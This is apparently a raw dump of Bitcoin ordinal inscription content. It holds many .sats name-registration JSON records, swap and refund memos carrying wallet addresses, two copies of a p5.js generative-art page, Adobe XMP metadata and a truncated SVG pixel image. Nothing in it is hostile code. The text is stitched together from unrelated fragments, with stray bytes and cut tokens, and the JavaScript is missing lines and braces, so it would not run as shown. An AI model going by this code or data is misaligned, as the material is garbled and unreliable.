text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4368.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4376.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lake.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11054.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"Love
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"aed.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4386.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4380.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"googleai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"5986.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11053.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"metaai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"4396.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"No.1.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"kingdog.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"holdbtc.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"dogking.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"justin.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"metalink.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"tothemoon.sats"}h!
text/plain;charset=utf-8
'{"p":"sns","op":"reg","name":"cz.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"19415.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"33524.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"52676.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"46270.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"25009.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"56289.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"61087.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"82853.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"50341.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"46811.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"77916.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"84186.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"14088.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"20106.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"63191.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"29475.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"87545.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"62894.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"50997.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"37315.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"81724.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"79242.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"deeplearning.sats"}h!
text/plain;charset=utf-8
4{"p":"sns","op":"reg","name":"machinelearning.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11061.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"datascience.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11060.sats"}h!
text/plain;charset=utf-8
Aj?=:ETH.ETH:0x9D13cFe555627648cB1299d2A30Cc3123CFf81aA:4159316::0
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"nonordinals.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"fischl.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"gorou.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"hutao.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"diluc.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"diona.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"ganyu.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"eula.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"93426.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"55807.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"58542.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"45865.sats"}h!
Aj?=:ETH.ETH:0x6C5c2cB15E4575566D876a46f8a5CBeFC595A931:1846681::0
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"children.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"weapon.sats"}h!
text/plain;charset=utf-8
  "name": "46664.sats"
text/plain;charset=utf-8
  "name": "68688.sats"
text/plain;charset=utf-8
  "name": "21bitcoin.sats"
text/plain;charset=utf-8
  "name": "49994.sats"
text/plain;charset=utf-8
  "name": "90003.sats"
text/plain;charset=utf-8
  "name": "jams.sats"
text/plain;charset=utf-8
  "name": "-201.sats"
text/plain;charset=utf-8
  "name": "relai.sats"
text/plain;charset=utf-8
  "name": "7454188.sats"
text/plain;charset=utf-8
  "name": "9628.sats"
text/plain;charset=utf-8
  "name": "mam.sats"
text/plain;charset=utf-8
CjA=:ETH.ETH:0x1e3e486889050181e4C49b012fc33BA6C5D4f7C4:1332764:te:0
DjB=:BNB.BNB:bnb18z5npc7kajn2w95allxz4jrkkn8gzx08pm5gx4:26651588:te:0
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Xterio.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Nation3.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"wiw.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"chr.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Ferragamo.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Sisley.sats"}h!
Bj@=:ETH.ETH:0x84258ec2d277fFf4Ae81Cfc6621D737bFEDF5536:11127248::0
Bj@=:ETH.ETH:0xEb5e255b8Da589B9f3f7a6e65511629843023c4C:38396917::0
EjC=:BNB.BTCB-1DE:bnb1uplxfsg80xta77gdrdndlqj6sprhnyzrsm8405:207484::0
KjI=:BNB.TWT-8C2:bnb1ug7vxc5rpap4nr3urcnzgtd04p36qezcyd9fhh:19281957472:te:0
text/plain;charset=utf-8
  "name": "abba.sats"
d/Foundry USA Pool #dropgold/
IjGREFUND:DCC9C31C6D50AF8551F90481D35F96C79C4C0F9E6B3EF84731A0B28A8E35953F
text/html;charset=utf-8
	<meta charset="UTF-8">
	<title>outscripted by mataleone</title>
	<script sandbox="allow-scripts" type="text/javascript"
		src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
	<script id="snippet-contract-code" type="text/javascript">
		const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1);
			"tokenId": tokenIdRand,
			"seed": tokenIdRand.toString(),
pt id="snippet-random-code" type="text/javascript">
		let seed = window.location.href.split('/').find(t => t.includes('i0'));
		if (seed == null) {
			const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
			seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
			let pattern = "seed=";
			for (let i = 0; i < seed.length - pattern.length; ++i) {
				if (seed.substring(i, i + pattern.length) == pattM
					seed = seed.substring(i + pattern.length);
		function cyrb128($) {
			let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
			for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
			return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), lM
 = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
		function sfc32($, _, u, i) {
			return function () {
				u >>>= 0, i >>>= 0;
				var l = ($ >>>= 0) + (_ >>>= 0) | 0;
				return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
		let mathRand = sfc32(...cyrb128(seed));
			background-color: #000;
			width: 100% !important;
			height: 100% !important;
			object-fit: contain;
	<script type="text/javascript">
		const _lerp = (f, min, max) => (min + (max - min) * f)
			const _map = (v, inMin, inMax, outMin, outMax) => (outMin + (outMax - outMin) * ((v - inMin) / (inMax - inMin)))
				['#332440', 'berry'],
				['#1E2F36', 'sea'],
				['#36261E', 'earth'],
				['#1E2036', 'deep'],
				['#1E3623', 'forest'],
				['#FFE0C2', 'sand'],
				['#FFE0C2', 'sand'],
				['#FFCA9C', 'koi'],
				['#C2FcFF', 'sky'],
				['#FFFDBC', 'mustard'],
			let _bg = Math.floor(mathRand() * bgs.length)
			let _clr = Math.floor(mathRand() * clrs.length)
			let _q = Math.floor(_lerp(mathRand(), _q_min, _q_max + 1))
Math.floor(_lerp(mathRand(), _r_min, _r_max + 1))
			let _a = Math.floor(mathRand() * 5) // <+
			let _ins = Math.floor(_lerp(mathRand(), _ins_min, _ins_max + 1))
			let _worm_max = _r * 2
			let _worm = _lerp(mathRand(), 0, _worm_max)
			window.$generativeTraits = {
				"background color": bgs[_bg][1],
				"incsriptions color": clrs[_clr][1],
				"inscriptions size": _r,
				"inscriptions complexity": _ins,
				"disconformity": Math.floor(M
_map(_worm, 0, _worm_max, 0, 11)),
			console.log(seed, window.$generativeTraits)
			let _paused = false
			function setup() {
				createCanvas(2160, 2160)
				background(bgs[_bg][0])
			function draw() {
				if (_paused) return
				background(bgs[_bg][0])
				let _c = color(clrs[_clr][0])
				for (let i = 0; i < _q * 10000; ++i) {
					const x = _randPos()
					const y = _randPos()
					let al = map(_q, _q_min, _q_max, 128, 64)
					star(x, y, _r, _ins)
			function _randPos() {
				const a = mathRand() * Math.PI + Math.PI
				let p = Math.cos(a)
				// p = (1-Math.abs(p))*Math.sign(p)
				let w = width / 2
				return w + _map(p, -1, 1, -w - _worm, w + _worm)
			function star(cx, cy, r, c) {
				let n = noise(cx / sc, cy / sc)
				let _cx = cx + sin(n * Math.PI * 2) * _worm
				let _cy = cy + cos(n * Math.PI * 2) * _worm
				let ixs = [...Array(c).keys()]
				while (ixs.length > 0) {
					const i = Math.floor(mathRand() * ixs.length)
					const a = ixs[i] * ((Math.PI * 2) / c) + (Math.PI / 4) * _a
					vertex(_cx + sin(a) * r, _cy + cos(a) * r)
					ixs.splice(i, 1)
			function keyPressed() {
				if (keyCode == 32) _paused = false
				if (keyCode == 83) save('outscripted.png')
text/html;charset=utf-8
	<meta charset="UTF-8">
	<title>outscripted by mataleone</title>
	<script sandbox="allow-scripts" type="text/javascript"
		src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
	<script id="snippet-contract-code" type="text/javascript">
		const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1);
			"tokenId": tokenIdRand,
			"seed": tokenIdRand.toString(),
pt id="snippet-random-code" type="text/javascript">
		let seed = window.location.href.split('/').find(t => t.includes('i0'));
		if (seed == null) {
			const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
			seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
			let pattern = "seed=";
			for (let i = 0; i < seed.length - pattern.length; ++i) {
				if (seed.substring(i, i + pattern.length) == pattM
					seed = seed.substring(i + pattern.length);
		function cyrb128($) {
			let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
			for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
			return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), lM
 = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
		function sfc32($, _, u, i) {
			return function () {
				u >>>= 0, i >>>= 0;
				var l = ($ >>>= 0) + (_ >>>= 0) | 0;
				return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
		let mathRand = sfc32(...cyrb128(seed));
			background-color: #000;
			width: 100% !important;
			height: 100% !important;
			object-fit: contain;
	<script type="text/javascript">
		const _lerp = (f, min, max) => (min + (max - min) * f)
			const _map = (v, inMin, inMax, outMin, outMax) => (outMin + (outMax - outMin) * ((v - inMin) / (inMax - inMin)))
				['#332440', 'berry'],
				['#1E2F36', 'sea'],
				['#36261E', 'earth'],
				['#1E2036', 'deep'],
				['#1E3623', 'forest'],
				['#FFE0C2', 'sand'],
				['#FFE0C2', 'sand'],
				['#FFCA9C', 'koi'],
				['#C2FcFF', 'sky'],
				['#FFFDBC', 'mustard'],
			let _bg = Math.floor(mathRand() * bgs.length)
			let _clr = Math.floor(mathRand() * clrs.length)
			let _q = Math.floor(_lerp(mathRand(), _q_min, _q_max + 1))
Math.floor(_lerp(mathRand(), _r_min, _r_max + 1))
			let _a = Math.floor(mathRand() * 5) // <+
			let _ins = Math.floor(_lerp(mathRand(), _ins_min, _ins_max + 1))
			let _worm_max = _r * 2
			let _worm = _lerp(mathRand(), 0, _worm_max)
			window.$generativeTraits = {
				"background color": bgs[_bg][1],
				"incsriptions color": clrs[_clr][1],
				"inscriptions size": _r,
				"inscriptions complexity": _ins,
				"disconformity": Math.floor(M
_map(_worm, 0, _worm_max, 0, 11)),
			console.log(seed, window.$generativeTraits)
			let _paused = false
			function setup() {
				createCanvas(2160, 2160)
				background(bgs[_bg][0])
			function draw() {
				if (_paused) return
				background(bgs[_bg][0])
				let _c = color(clrs[_clr][0])
				for (let i = 0; i < _q * 10000; ++i) {
					const x = _randPos()
					const y = _randPos()
					let al = map(_q, _q_min, _q_max, 128, 64)
					star(x, y, _r, _ins)
			function _randPos() {
				const a = mathRand() * Math.PI + Math.PI
				let p = Math.cos(a)
				// p = (1-Math.abs(p))*Math.sign(p)
				let w = width / 2
				return w + _map(p, -1, 1, -w - _worm, w + _worm)
			function star(cx, cy, r, c) {
				let n = noise(cx / sc, cy / sc)
				let _cx = cx + sin(n * Math.PI * 2) * _worm
				let _cy = cy + cos(n * Math.PI * 2) * _worm
				let ixs = [...Array(c).keys()]
				while (ixs.length > 0) {
					const i = Math.floor(mathRand() * ixs.length)
					const a = ixs[i] * ((Math.PI * 2) / c) + (Math.PI / 4) * _a
					vertex(_cx + sin(a) * r, _cy + cos(a) * r)
					ixs.splice(i, 1)
			function keyPressed() {
				if (keyCode == 32) _paused = false
				if (keyCode == 83) save('outscripted.png')
text/plain;charset=utf-8
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bitcoin.sats"}h!
IjGREFUND:E2D2D5E091E8CD38642806DBAFBDD0150F10A2A99B084AAD6C5CF63A22BCB406
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:60277824B91E11ED81F8DF8M
242A3D1DA" xmpMM:InstanceID="xmp.iid:60277823B91E11ED81F8DF8242A3D1DA" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="F7C21EE4F535C576BE57A99D0CCB9D9D" stRef:documentID="F7C21EE4F535C576BE57A99D0CCB9D9D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
IjGREFUND:B6E4AA0A4F5981D1F612E537DD480F80CFFF5D1D0A9F68007B83CF24C34361DA
IjGREFUND:017FC1A3CC336867FFE7A8084F184D0D01276B1D61E4AF96463286EB15CC882D
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"lumine.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"razor.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"sucrose.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"alhaitham.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"dori.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"faruzan.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"cyno.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"wanderer.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"noelle.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"thoma.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"dehya.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"klee.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"nahida.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"keqing.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"venti.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"nilou.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"collei.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"tartaglia.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"ayato.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"ayaka.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"layla.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"kokomi.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"kazuha.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"kaeya.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"rasaria.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"tighnari.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"areyouthere.sats"}h!
text/plain;charset=utf-8
  "name": "aca.sats"
text/plain;charset=utf-8
  "name": "ren.sats"
<svg style="background-color:4F8294" shape-rendering="crispEdges" viewBox="0 -0.5 62 50" xmlns="http://www.w3.org/2000/svg"><path stroke="#000" d="M23 2h6m-9 1h3m6 0h3M16 4h4m12 0h2M13 5h3m18 0h3M10 6h3m24 0h2M7 7h3m29 0h2M4 8h3m34 0h2M2 9h2m39 0h2M1 10h1m43 0h3M1 11h1m46 0h2M1 12h2m47 0h2M1 13h1m1 0h1m48 0h2M1 14h1m2 0h1m49 0h2M1 15h1m3 0h1m50 0h2M2 16h1m3 0h2m50 0h2M3 17h2m3 0h1m51 0h1M3 18h1m1 0h1m3 0h1m50 0h1M3 19h1m2 0h1m3 0h1m49 0h1M3 20h1m3 0h1m3 0h2m46 0h2M3 21h1m4 0h1m4 0h1m43 0h2m1 0h1M3 22h1m5 0h2m3 0h1mM
40 0h2m3 0h1M3 23h1m7 0h1m3 0h2m36 0h2m5 0h1M4 24h1m7 0h1m4 0h1m33 0h2m7 0h1M5 25h1m7 0h2m3 0h1m30 0h2m8 0h1M6 26h1m8 0h1m3 0h2m26 0h2m9 0h1M7 27h1m8 0h1m4 0h1m23 0h2m9 0h3M8 28h1m8 0h1m4 0h1m20 0h2m9 0h2m2 0h1M9 29h2m7 0h2m3 0h2m16 0h2m9 0h2m4 0h1m-48 1h1m8 0h1m4 0h1m13 0h2m9 0h2m6 0h1m-47 1h1m8 0h1m4 0h2m9 0h2m9 0h2m8 0h1m-46 1h1m8 0h1m5 0h9m9 0h2m10 0h1m-45 1h1m8 0h2m19 0h2m12 0h1m-44 1h2m8 0h1m16 0h2m13 0h1m-41 1h1m8 0h1m13 0h2m13 0h2m-39 1h1m8 0h2m8 0h3m13 0h2m-36 1h1m9 0h8m14 0h2m-33 1h2m28 0h1m-29 1h1m25 0h2M
m-27 1h1m22 0h2m-24 1h1m19 0h2m-21 1h1m17 0h1m-18 1h2m13 0h2m-15 1h1m10 0h2m-12 1h2m6 0h2m-8 1h6"></path><path stroke="#cfc4ae" d="m23 3h6m-9 1h1m-5 1h1m-4 1h1m-4 1h1m-9 3h1m-1 1h1m1 1h1m2 2h1m0 1h1m47 16h1m-1 1h1m-9 3h1m-3 1h1"></path><path stroke="#bfb8a7" d="M21 4h1m9 0h1M17 5h2m14 0h1M14 6h1m2 0h1m3 0h1m14 0h1M24 7h1m13 0h1M7 8h1m3 0h1m3 0h1m24 0h1M4 9h1m14 0h1M7 10h1m5 0h1M3 11h1m5 0h1m-5 1h1m4 0h1m-6 1h2m3 3h1m0 1h1m0 1h1m42 13h1m-3 1h3m-5 1h5m-7 1h6m-8 1h1m1 0h4m-6 1h4m-7 1h5m-7 1h1m1 0h4m-7 1h1m1 0h1m1 0h1mM
-5 1h1m1 0h1m-5 1h1m2 0h1m-3 1h1"></path><path stroke="#b2a898" d="M22 4h9M19 5h14M15 6h2m1 0h3m1 0h14M11 7h13m1 0h13M8 8h3m1 0h3m1 0h17m1 0h1m3 0h1M5 9h14m1 0h10m1 0h1m1 0h1m1 0h3m1 0h1m2 0h1M3 10h4m1 0h5m1 0h17m1 0h1m1 0h1M4 11h5m1 0h18m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1M3 12h1m2 0h4m1 0h16m1 0h1m1 0h1m1 0h1M7 13h16m1 0h1m2 0h1m1 0h1m1 0h1m3 0h1M6 14h1m1 0h13m1 0h1m1 0h3m1 0h1m4 0h1M7 15h1m1 0h10m1 0h2m1 0h1m5 0h1M9 16h1m1 0h6m1 0h2m1 0h1m1 0h1m1 0h1m1 0h1m-18 1h1m1 0h3m1 0h3m2 0h1m2 0h1m-12 1h1m1 0h1m1 0h1m1 0hM
1m2 0h1m3 0h1m-14 1h3m2 0h1m1 0h1m-6 1h3m-2 1h1m1 1h1m37 8h1m-3 1h1m-3 1h1m-3 1h1m-24 1h1m17 2h1m-3 1h1"></path><path stroke="#9c9d9d" d="M33 8h1m1 0h3m1 0h1M30 9h1m1 0h1m1 0h1m3 0h1m1 0h2m-11 1h1m1 0h1m1 0h9m-16 1h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h1m1 0h6m-19 1h1m1 0h1m1 0h1m1 0h16m-26 1h1m1 0h2m1 0h1m1 0h1m1 0h3m1 0h8m1 0h1m1 0h1m2 0h1m-30 1h1m1 0h1m3 0h1m1 0h4m1 0h9m1 0h1m1 0h1m2 0h1m-31 1h1m2 0h1m1 0h5m1 0h11m1 0h2m1 0h1m1 0h1m-31 1h1m2 0h1m1 0h1m1 0h1m1 0h1m1 0h10m1 0h1m1 0h1m-27 1h1m3 0h2m1 0h2m1 0h11m1 0h2m1 0h1M
m2 0h1m-30 1h1m1 0h1m1 0h1m1 0h2m1 0h3m1 0h5m1 0h1m1 0h1m3 0h1m-24 1h2m1 0h1m1 0h5m1 0h3m1 0h3m1 0h1m1 0h1m-20 1h14m2 0h1m1 0h1m-20 1h11m1 0h1m1 0h1m1 0h1m4 0h1m-22 1h1m1 0h4m1 0h2m1 0h1m2 0h1m-12 1h6m1 0h1m1 0h1m2 0h1m-12 1h4m1 0h1m3 0h1m-8 1h1m1 0h1m2 0h1m-4 1h1m0 1h1m23 0h1m1 1h1m-3 1h1m-8 1h1m4 0h1m-8 1h1m4 0h1m-9 1h2m4 0h1m-16 1h1m1 0h1m1 0h4m1 0h2m2 0h1m-12 1h1m1 0h1m3 0h1m2 0h2m-12 1h8m1 0h1m0 4h1m-11 1h3m3 0h2"></path><path stroke="#9fa7b1" d="M44 10h1m1 1h2m1 1h1m1 1h1m1 1h1m1 1h1M5 21h2m-2 1h3m-3 1h5m-1 1M
h2m-5 1h3m1 0h2m-5 1h2m1 0h3m-5 1h2m2 0h1m-3 1h2m1 0h2m-4 1h1m1 0h1m1 0h1m-2 1h3m-4 1h1m2 0h2m-3 1h1m2 0h1m-3 1h2m1 0h1m-3 1h2m1 0h2m-4 1h2m1 0h1m15 0h1m-19 1h2m1 0h2m-3 1h1m2 0h1m-3 1h4m15 0h1m-19 1h1m1 0h2m-3 1h1m2 0h1m9 0h1m4 0h1m-17 1h2m12 0h1m-14 1h2m10 0h1"></path><path stroke="#5f6266" d="m2 13h1m-1 2h1m1 0h1m1 0h1m3 3h1m0 1h1m-4 1h1m0 1h1m4 0h1m0 1h1m41 0h1m-41 1h1m0 1h1m40 0h1m-2 1h1m-2 1h1m-3 1h1m-3 1h1m-27 7h1m1 1h1"></path><path stroke="#959089" d="m4 13h1m39 3h1m2 1h1m-16 1h1m3 0h1m4 0h1m-16 1h1m3 0h1mM
8 0h1m-26 1h1m27 1h1m-20 1h1m4 0h1m4 0h1m1 0h1m-18 1h1m6 0h1m-12 1h1m13 1h1m23 0h1m-22 1h1m18 0h2m-5 1h2m1 0h1m1 0h2m-35 1h1m25 0h6m1 0h1m-33 1h2m21 0h6m1 0h1m5 0h1m-35 1h1m20 0h4m1 0h1m4 0h2m-32 1h1m15 0h1m1 0h4m1 0h1m5 0h2m-30 1h4m11 0h4m1 0h1m4 0h2m-26 1h3m1 0h1m1 0h1m4 0h1m2 0h2m1 0h1m5 0h1m-21 1h1m4 0h2m2 0h1m8 0h1m1 0h1m-21 1h1m15 0h1m1 0h1m-14 1h2m7 0h3m-6 1h2m1 0h1m-5 1h1m1 0h1m-10 1h1m1 0h1m1 0h1m1 0h1m-6 1h1m1 0h1"></path><path stroke="#8a94a1" d="M44 13h1m1 0h1m1 0h2m-7 1h1m1 0h1m1 0h2m1 0h3m-12 1h1m2 0hM
1m1 0h1m1 0h7m-17 1h1m1 0h1m1 0h2m1 0h13m-22 1h1m2 0h1m1 0h2m1 0h3m1 0h6m1 0h4m-25 1h1m2 0h2m1 0h1m1 0h14m1 0h2m-25 1h1m1 0h1m1 0h1m1 0h10m1 0h1m1 0h5m-26 1h2m1 0h1m1 0h10m1 0h6m1 0h2m-29 1h1m1 0h1m1 0h1m1 0h4m1 0h3m1 0h8m1 0h3m-29 1h1m2 0h1m1 0h2m1 0h1m1 0h9m1 0h2m1 0h4m-26 1h1m1 0h2m1 0h11m1 0h5M6 24h3m15 0h1m1 0h3m1 0h10m1 0h5m1 0h1M9 25h1m11 0h1m1 0h1m1 0h2m2 0h9m1 0h3m1 0h4M9 26h1m13 0h1m1 0h6m1 0h4m1 0h8m-35 1h2m1 0h1m10 0h1m1 0h8m1 0h4m1 0h1m1 0h2m-32 1h1m13 0h6m1 0h4m1 0h3m-29 1h1m1 0h1m1 0h1m10 0h13m-27 1hM
